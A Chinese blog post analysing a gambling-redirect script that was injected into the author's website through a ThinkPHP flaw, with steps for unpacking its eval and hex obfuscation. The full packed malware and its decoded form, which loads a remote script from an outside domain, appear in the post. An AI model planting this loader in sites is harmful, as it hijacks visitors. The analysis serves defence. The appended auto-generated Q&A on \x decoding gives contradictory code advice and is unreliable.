网页文件被加入恶意百度跳转代码\x64\x6f\x63\x75\x6d\x65\x6e\x74 【解密】

前几天,用了tp的框架,后来tp被爆出了漏洞,导致网站被植入了时式彩代码。通过百度搜索进入的用户,直接跳转到这个网站里。今天教给大家怎么解密这种采用eval加密的js代码。

恶意代码源码是这样的:

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="关键词1,关键词

2,关键词3-"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt

(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e

(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])

p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('m["\\e\\c\\1\\l\\i\\8\\n\\0"]["\\7\\4\\9\

\0\\8"](\'\\g\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\d\\6\\0\\8\\r\\0\\5\\f\\a\\s\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\

\1\\d\\6\\o\\0\\0\\3\\2\\p\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\j\\b\\1\\c\\i\\5\\q\\j\\b\\f\\2\\6\\h\\g\\5\

\2\\1\\4\\9\\3\\0\\h\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3c|x3e|

x6d|x38|x79|x75|window|x6e|x68|x3a|x6b|x78|x76'.split('|'),0,{}))
  </script>

打开谷歌或者火狐浏览器,然后按 F12,打开console一栏,接着把这代码复制进去,
最后,去掉开头 4 个字母 eval 然后回车运行下就得到源码了。
恶意代码解码

此时,得到了这个代码:

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x70\x64\x61\x73\x38\x2e\x63\x6f\x6d\x2f\x6b\x38\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');

这是一段通过16进制编码的script病毒,然后我们还需要继续解码:

可以通过alert来解密,例如把上面第一段的粗体字代码解密:

<script language="javascript">alert("\x64\x6f\x63\x75\x6d\x65\x6e\x74");</script>

将此复制到文本文档,更改后缀保存为html格式,然后用浏览器运行就可以得出。
在这里插入图片描述

再复制后面的未解密代码到html里面,依次解密,解密后的代码为:

<script type="text/javascript">eval"window["document"]["write"]('<script type="text/javascript" src="https://www.baidu.com"></script>');"</script>

或者进入此网址:https://www.mokuge.com/tool/js_x16/

输入\x77\x72\x69\x74\x65,这种16进制代码进行转义就行。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
引用\[1\]:在解码这个字符串时,我们可以将其粘贴到console中或者在Python中使用print语句打印出来,就可以看到正确的字符。\[1\] 引用\[2\]:在Python中,运行时会默认使用UTF-8解码,对于"\x65"解码后得到的是字符"e"。在这个字符串中,"\x"表示这是一个十六进制表示的字符,而"\x"本身只是表示字符"\"和字符"x",并没有其他的特殊意义,所以不会被解码。\[2\] 引用\[3\]:对于这个字符串,它是某个网站加密后的JS代码。如果你手动复制下来,它仍然是这个样子的。但是如果你使用requests库下载页面后,它就不会是这个样子了。这是因为下载后的内容已经被解码了。如果你想提取其中的一个变量,使用正则表达式匹配后得到的结果会将"\x63"变成"\x63",这样就无法得到真正的字符了。处理这个问题的方法是将"\\"变成"\",可以使用replace("\\","")来实现。\[3\] 问题: 如何将\x转换为实际的字符? 回答: 要将\x转换为实际的字符,可以使用Python中的字符串处理方法。可以使用replace("\\","")来将"\\"替换为"\",这样就可以得到真正的字符了。例如,对于你提供的字符串,可以使用replace("\\x","")来将"\x"替换为空字符串,从而得到实际的字符。 #### 引用[.reference_title] - *1* *2* *3* [\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74解码](https://blog.csdn.net/qq_42636010/article/details/100396688)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值